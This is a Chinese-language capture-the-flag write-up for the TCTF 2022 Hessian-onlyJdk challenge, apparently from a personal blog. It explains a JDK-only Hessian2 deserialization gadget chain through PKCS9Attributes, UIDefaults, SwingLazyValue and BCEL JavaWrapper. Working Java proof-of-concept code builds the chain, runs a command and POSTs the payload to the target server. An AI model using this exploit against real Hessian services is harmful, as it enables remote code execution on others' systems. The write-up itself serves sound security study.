March 29, 2023

TCTF2022 Hessian-onlyJdk

http://www.bmth666.cn/bmth_blog/2023/02/07/0CTF-TCTF-2022-hessian-onlyJdk/#CVE-2021-43297
https://goodapple.top/archives/1145
https://goodapple.top/archives/1193
https://xz.aliyun.com/t/10997#toc-2
https://m0d9.me/2021/08/29/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%88%E4%B8%89%EF%BC%89%E2%80%94%E2%80%94Tabby%20CVE%E4%B9%8B%E6%97%85/

审题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.hessian.onlyJdk;

import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;

public class Index {
public Index() {
}

public static void main(String[] args) throws Exception {
System.out.println("server start");
HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
server.createContext("/", new MyHandler());
server.setExecutor(Executors.newCachedThreadPool());
server.start();
}

static class MyHandler implements HttpHandler {
MyHandler() {
}

public void handle(HttpExchange t) throws IOException {
String response = "Welcome to 0CTF 2022!";
InputStream is = t.getRequestBody();

try {
Hessian2Input input = new Hessian2Input(is);
input.readObject();
} catch (Exception var5) {
var5.printStackTrace();
response = "oops! something is wrong";
}

t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
}

很狂的开局,一个文件,明显的反序列化点,简单明了,但是仔细看看发现完全不是maven项目,也没有什么依赖一说,而我们之前解出的Hessian都是有第三方依赖的,那这波肯定是原生JDK打hessian2反序列化了。

摆烂解题

题目给了个hint,有一个toString利用链:https://x-stream.github.io/CVE-2021-21346.html

1
2
3
4
5
6
javax.swing.MultiUIDefaults#toString
UIDefaults#get
UIDefaults#getFromHashTable
UIDefaults$LazyValue#createValue
SwingLazyValue#createValue
javax.naming.InitialContext#doLookup()

给了一条toString的链子,这个出自CVE-2021-21346,一个Xstream的漏洞,既然是toString的链子那么就应该是hessian2的expect抛出异常触发toString了
但是用上面的hint打了之后会报错

  • javax.swing.MultiUIDefaults是package-private类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限
  • 所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功

因此需要找一个MultiUIDeafaults的替代类,这里的UIDeafaults是继承Hashtable的,所以需要从toString到HashTable.get(hessian可以反序列化未实现serializable接口的类)
大佬们用CODEQL找到了一个适合的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/**
@kind path-problem
*/

import java
import semmle.code.java.dataflow.FlowSources

class ROMethod extends Method{
ROMethod(){
this.hasName("toString")
}
}

class Source extends Callable {
Source(){
(
this instanceof ROMethod
)
}
}

class GetMethod extends Method {
GetMethod(){
this.hasName("get") and
this.getDeclaringType().getAnAncestor().hasQualifiedName("java.util","Hashtable")
}
}

class DangerousMethod extends Callable {
DangerousMethod(){
this instanceof GetMethod
}
}

class CallsDangerousMethod extends Callable {

CallsDangerousMethod() {
exists(Callable a| this.polyCalls(a) and
a instanceof DangerousMethod )
}
}


query predicate edges(Method a, Method b) {
a.polyCalls(b)
and
a.getDeclaringType().getAField().getDeclaringType().hasName(b.getDeclaringType().getName())
}

from Source source, CallsDangerousMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@" ,
source.getDeclaringType(),source.getDeclaringType().getName(),
source,source.getName(),
sink.getDeclaringType(),sink.getDeclaringType().getName(),
sink,sink.getName()

ql代码如上,给以后的自己慢慢啃吧。。codeql真的好强大
运行之后可以跑出一个类sun.security.pkcs.PKCS9Attributes
image.png
在该方法内部调用了getAttribute方法,而这方法里面又调用了get方法
image.png
image.png
并且可以看到这个attributes就是一个HashTable,那么链子就接上了PKCS9Attributes.toString->HashTable.get->UIDefault.get->UIDeafult->getFromHashTable->createValue->xxx.invoke
这一条链子的重点在SwingLazyValue#createValue
image.png
在这个类中可以触发任意类的任意方法,那么就可以实现RCE(其实并不是任意,需要静态和public这两个条件)
最后又是在摆烂中找到了JavaWrapper._main方法,这个方法内部逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  public static void _main(String[] argv) throws Exception {
/* Expects class name as first argument, other arguments are by-passed.
*/
if(argv.length == 0) {
System.out.println("Missing class name.");
return;
}

String class_name = argv[0];
String[] new_argv = new String[argv.length - 1];
System.arraycopy(argv, 1, new_argv, 0, new_argv.length);

JavaWrapper wrapper = new JavaWrapper();
wrapper.runMain(class_name, new_argv);
}
}

其中主要漏洞逻辑存在于runMain方法中
image.png
他会加载一个类,并且找到该类中的_main方法通过invoke去执行它,那么我们只需要创建一个恶意类,其中带一个方法名叫_main然后让他加载那么就可以执行命令了

1
2
3
4
5
6
7
8
9
package Hessian2;

import java.io.IOException;

public class shell {
public static void _main(String[] argv) throws IOException {
Runtime.getRuntime().exec("calc");
}
}

这里的shell.class需要有参数,要符合上图中的规则
还有一个需要注意的点就是这里的loader我们可以发现是一个bcel
image.png
在初始化JavaWrapper时会对loader进行赋值,赋值为com.sun.org.apache.bcel.internal.util.ClassLoader那这里也就涉及一个bcel的类加载问题,这个我在之前的文章中说过了,一个小tips
那么payload构造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

// 前提条件:CVE-2021-43297,打toString()
public class Hessian_JavaWrapper {
public static void main(String[] args) throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
JavaClass evil = Repository.lookupClass(test.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);

uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));

setFieldValue(s,"attributes",uiDefaults);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(s);
out.flushBuffer();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();

}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行之后弹出计算机
image.png
说明链子成立

细节剖析

观察一下PKCS9Attributes类的内部结构
image.png
是不是没有无参构造方法,所以你想要通过反射的方法进行实例化十分困难,这边我尝试了好多次都是会报错(太菜了),理论上是肯定可以的,但是这里我们用了一个魔术去绕过构造方法

1
2
3
4
5
6
7
8
9
10
11
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

https://www.cnblogs.com/strongmore/p/15470175.html

还有个细节就是,我们可以看到上述poc我们是本地运行成功的,但是题目中你需要发送一个POST请求,要把你的Bytes字节流以post的形式在java中发送过去
因此最终POC应该是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package exp;

import Hessian2.shell;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.security.util.DerInputStream;
import sun.security.util.DerValue;
import sun.security.util.ObjectIdentifier;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;

// 前提条件:CVE-2021-43297,打toString()
public class exp {
static final String targetUrl="http://localhost:8090/";
public static void main(String[] args) throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
JavaClass evil = Repository.lookupClass(shell.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);

uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));

setFieldValue(s,"attributes",uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(s);
out.flushBuffer();
post(baos.toByteArray());
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
//input.readObject();

}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void post(byte[] b) throws Exception{
URL url=new URL(targetUrl);
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoOutput(true);
try(OutputStream os = con.getOutputStream()) {
os.write(b);
}


BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer content = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine);
}
in.close();

System.out.println(content.toString());
}
}

image.png
成功复现

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#TCTF